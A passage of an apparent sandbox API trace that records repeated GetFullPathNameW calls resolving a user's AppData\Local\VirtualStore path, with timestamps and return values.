lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.576] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.579] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 